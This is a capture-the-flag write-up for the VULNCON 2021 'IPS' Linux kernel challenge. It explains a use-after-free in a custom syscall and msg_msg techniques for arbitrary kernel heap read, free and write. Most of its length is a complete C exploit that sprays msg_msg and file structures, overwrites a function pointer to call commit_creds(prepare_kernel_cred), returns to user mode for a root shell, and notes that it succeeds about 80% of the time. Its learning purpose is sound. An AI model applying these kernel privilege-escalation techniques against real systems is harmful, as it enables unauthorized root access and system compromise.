0xFF tl;dr

Introduced a method to construct arbitrary address read (Kernel Heap Area/ Object Size < 0x1000) primitive based on msg_msg.

It’s also a write-up for challenge IPS(VULNCON 2021).

0x00 Prologue

Embarking on the VULNCON 2021 challenge marked a pivotal moment in my journey into kernel exploitation. Unlike previous challenges, this was the first non-educational kernel challenge I solved, without leaning on existing write-ups for guidance. The journey to a successful exploit took 145 days—despite the actual hours invested being considerably less. This experience paralleled my initial user space challenge, ret2win, which took me over 140 hours. The initial challenge, as always, proved to be the most formidable. However, I survived!

Immense gratitude is extended to @kylebot and @zolutal, whose invaluable support and patience were instrumental in navigating through moments of uncertainty.

A heartfelt acknowledgment goes out to the generous authors. Their willingness to share insights and knowledge on exploitation techniques immensely facilitated my learning curve.

0x01 Challenge

The attachment is available here.

This challenge is not like other kernel challenges I solved - it implemented a syscall so our task for this challenge is exploiting the vulnerable syscall. The syscall IPS maintains an array of chunks while each chunk stores the user data. However, there are some interesting vulnerabilities in the syscall.

SYSCALL_DEFINE2

First, in SYSCALL_DEFINE2, here is a double_fetch: It fetches udata->data twice: one for length check and another for copying. We can provide a valid length in check but provide a longer string while copying. However, Kyle told me it’s somehow hard to exploit so I just skipped this vulnerability. I’ll check why it’s hard to exploit later.

copy_storage

Second, copy_storage didn’t check the return value of target_idx and get_idx may return -1 when the array is full, which means copy_storage may copy the pointer to the array[-1]. Also, in remove_storage, we will not clean the pointer on array[-1], which causes UAF.

edit_storage

Luckily, for this function, it does nothing even if the idx is -1 so we can edit the array[-1].

Others

Other options in the challenge may pollute the kernel data, such as (chunks[last_allocated_idx]->next = chunks[idx]; in alloc_storage). But it’s hard to use them to exploit so I only focused on the combination of copy_storage and edit_storage

0x02 Exploitation Primitives

I: Use After Free

After getting the vulnerabilities in the previous section, it’s easy to get the way to combine vulnerabilities in copy_storage and edit_storage :

II: msg_msg

edit_storage is quite strong and we can’t overwrite everything after 0xe bytes (no null byte included). I asked our kernel guys in the lab and they recommended me msg_msg which is super flexible.

#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))

static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;

	alen = min(len, DATALEN_MSG);
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	if (msg == NULL)
		return NULL;

	msg->next = NULL;
	msg->security = NULL;

	len -= alen;
	pseg = &msg->next;
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();

		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	return msg;

out_err:
	free_msg(msg);
	return NULL;
}

kmalloc is invoked in function alloc_msg:

For people who don’t know msg_msg:

III: Arbitrary Address Read

With msg_msg, we can refill the freed chunk. Also, because of edit_storage, we can edit the struct of msg_msg so we can read arbitrary addresses (as long as freeing it would not lead to a crash):

IV: Arbitrary Address Free

In SYS_msgrcv, the corresponding msg_msg struct will be freed so we can modify msg_msg.security or msg_msg.next to free arbitrary object (as long as we know where it is).

V: Arbitrary Address Write (on KHeap)

With the Arbitrary Address Free primitive, it’s easy to build the AAW(Arbitrary Address Write) primitive. We can first free the object on the area we want to write and then refill it to write it.

VI: Leak KHeap-x

With the primitives above, it seems we solved this challenge but actually, you’ll find that the kernel heap is not as deterministic as the user space heap. The offset between pages of kmalloc-32 to kmalloc-128 will change. So we need a way to leak the address of Kheap-x

As we know, msg_msg is a linked list so we can chain different sizes of messages. For example, the first msg_msg struct is on kmalloc-128 while the second one is on kmalloc-196. So we can trace the linked list to Kheap-x (x≤0x1000).

For example, in this challenge, we are on kmalloc-128 and we can read everything on that page. So we can create another msg_msg(size=128) struct on the same page and append a msg_msg(size=0x196) to it. We can leak the address of msg_msg(size=0x196) by reading the next pointer of msg_msg(size=128). Therefore, we can combine this skill with previous skills to read and write arbitrary addresses on kernel heap(object_size<0x1000)!

0x04 Exploitation

0x05 Exploitation Script

// Success Rate ~= 80%
#include "libx.h"
// https://github.com/n132/libx/tree/main
/*
    Libx Init Starts
*/
#if defined(LIBX)
    size_t user_cs, user_ss, user_rflags, user_sp;
    void saveStatus()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
    }
    size_t back2root = shell;
    void back2userImp(){
        __asm__("mov rax, user_ss;"
            "push rax;"
            "mov rax, user_sp;"
            "push rax;"
            "mov rax, user_rflags;"
            "push rax;"
            "mov rax, user_cs;"
            "push rax;"
            "mov rax, back2root;"
            "push rax;"
            "swapgs;"
            "push 0;"
            "popfq;"
            "iretq;"
            );
    }
    void libxInit(){
        back2user = back2userImp;
        hook_segfault();
        saveStatus();
    }
#endif // 

/*
    Libx Init Ends
*/

#define ISP 548
typedef struct {
  int idx;
  unsigned short priority;
  char *data;} dt;
void add(char *buf, int priority){
    dt dt;
    dt.priority = priority;
    dt.data = buf;
    return syscall(ISP,1,&dt);
}
void del(int idx){
    dt dt;
    dt.idx = idx;
    return syscall(ISP,2,&dt);
}
void edit(int idx, char *buf){
    dt dt;
    dt.idx = idx;
    dt.data = buf;
    return syscall(ISP,3,&dt);

}
void copy(int idx){
    dt dt;
    dt.idx = idx;
    return syscall(ISP,4,&dt);
}
int main()
{   
    libxInit();
    
    char *atk = malloc(0x1000);
    memset(atk,'\1',0x1000);
    size_t *hook = &atk[0xfd0];
    char *ctx = calloc(1,0x200);

    // Step1 UAF
    memcpy(ctx,"Hi IPS!",8);
    add(ctx,0xffff);
    for(int i=0;i<16;i++){
        copy(0);
    }
    del(0);
    // LEAK KHeap-32
    int msgid1      = msgQueueCreate("/home/user/1");
    
    int msgid3      = msgQueueCreate("/home/user/3");
    // We are builing the following pat
    // we may fail if msgid2.chunmk1's address is smaller
    // msg1
    //      ....
    // msg2 -> msg3
    // (msg3 includes a pointer points KHeap32)
    size_t ct = 1;
    msgQueueSend(msgid1,ctx,0x50,ct++);

     
    // Spray 4 elements to improve the possibility that
    // we have at least one object after mesg1
    // The success rate ~= 80% 
    // We have 5 elements and we can leak as long as msgid1 is not the last one
    // We can improve it with performing it x times but 0.8 is good enough for me
    int msgid2 = 0;
    for(int i =0 ; i < 0x5 ; i++){
        msgid2 = msgQueueCreate(strcat(strdup("/home/user/"),str(i+0x61)));
        msgQueueSend(msgid2,dp('\x99',8),0x50,ct++); //Mark it with '\x99'*8
        msgQueueSend(msgid2,ctx,0xfd0+0x18,ct++);
    }
    // Spray Kheap 32 with fops2:
    // Try not to use all the slot since we want to
    // 1. Arbitrary free one of fops
    // 2. Refill it
    int fds[0x40] = {0};
    for(int i = 0 ; i<0x40;i++){
        fds[i] = open("/proc/self/stat",0);
    }

    edit(-1,strcat(realloc(dp('\xff',2+8),0x80),p64(0xfff)));
    msgQueueMsg * res  = msgQueueRecv(msgid1, 0xfff, 0);

    // *Avoid put other code before refilling to make it more stable
    msgQueueSend(msgid3,"Refill",0x50,ct++);


    size_t off = findp64(res->mtext,0x9999999999999999,0xfff);

    if(off==NULL)
        panic("[-] Not able to leak msgid2");
    
    off-= 0x30;
    size_t leaked_1 = *(size_t *)(&res->mtext[off]);
    info(leaked_1);
    
    

    edit(-1,strcat(realloc(dp('\xff',2+8+8),0x80),p64(leaked_1-0x10)));


    // Prepare for quick refilling
    msgQueueDel(msgid1);
    msgid1 = msgQueueCreate("/home/user/2");
    // Leak target 
    res  = msgQueueRecv(msgid3, 0xfd0+0x10+0x30, 0);
    // * again, quickly refill 0x80
    msgQueueSend(msgid1,"Refill2",0x50,ct++);
    size_t leaked_heap32 = *(size_t *)(&res->mtext[0xfd0+0x8+0x20]);
    // Leak KHeap 32
    info(leaked_heap32);

    // Link the target fop strcut to msgmsg
    edit(-1,strcat(realloc(dp('\xff',2+8+8),0x80),p64(leaked_heap32+0x20-8)));
    
    //Prepare for possible refill
    msgQueueDel(msgid3);
    msgid3 = msgQueueCreate("/home/user/4");

    // AAF
    res = msgQueueRecv(msgid1,0xfd0+0x8,0);
    // Quick refill
    msgQueueSend(msgid3,"Refill3",0x50,ct++);

    size_t * verify = &res->mtext[0xfd0];
    int ccc = 1;
    int msgid = 0;
    if( (0xfff & (size_t)(*verify)) == 0xfd0)
        puts("[+] Good Luck!");
    else{
        // Build a retry loop will try to find a fop struct.
        while(1){
            
            puts("[!] Retry");
            // We can quickly refill it
            ccc++;
            edit(-1,strcat(realloc(dp('\xff',2+8+8),0x80),p64(leaked_heap32+0x20*ccc-8)));
            // Prepare
            msgid = msgQueueCreate(strcat(strdup("/home/user/"),str(ccc+0x67)));
            // AAF
            res = msgQueueRecv(msgid3,0xfd0+0x8,0);
            msgQueueSend(msgid,"Refillloop",0x50,ct++);
            msgid3= msgid;
            verify = &res->mtext[0xfd0];
            if( (0xfff & (size_t)(*verify)) == 0xfd0)
                break;
        }
    }
    // Refil the target
    hook[0] = getRootPrivilige;
    commit_creds = 0xffffffff8108a830-0xffffffff8120efd0+(*verify);
    prepare_kernel_cred = 0xffffffff8108aad0-0xffffffff8120efd0+(*verify);
    for(int s = 0; s<2;s++) // Tomake exploit more reliable
        msgQueueSend(msgid2,atk,0xfd0+0x18,6+s);
        
    
    // debug();    
    char win;
    for(int s = 3 ; s < 0x40+3;s++){
        read(s,&win,0x1);
    }
}

0x06 TODO

0x07 Articles

I listed the articles that helped me but sorry for not listing all of them since it has been a too long time so I forgot most of them.

0x08 Related Functions

0x09 Follow-Up

Segment Fault after executing code

This is because I messed the kernel heap. If I still want a root shell, I can “setsuid(‘/bin/sh’)” and gain a root shell with keeping the attacking process at background. Also, if we didn’t mess the heap too much, we can hide the system("/bin/sh") in a segfault handler.

Make the Exploitation more stable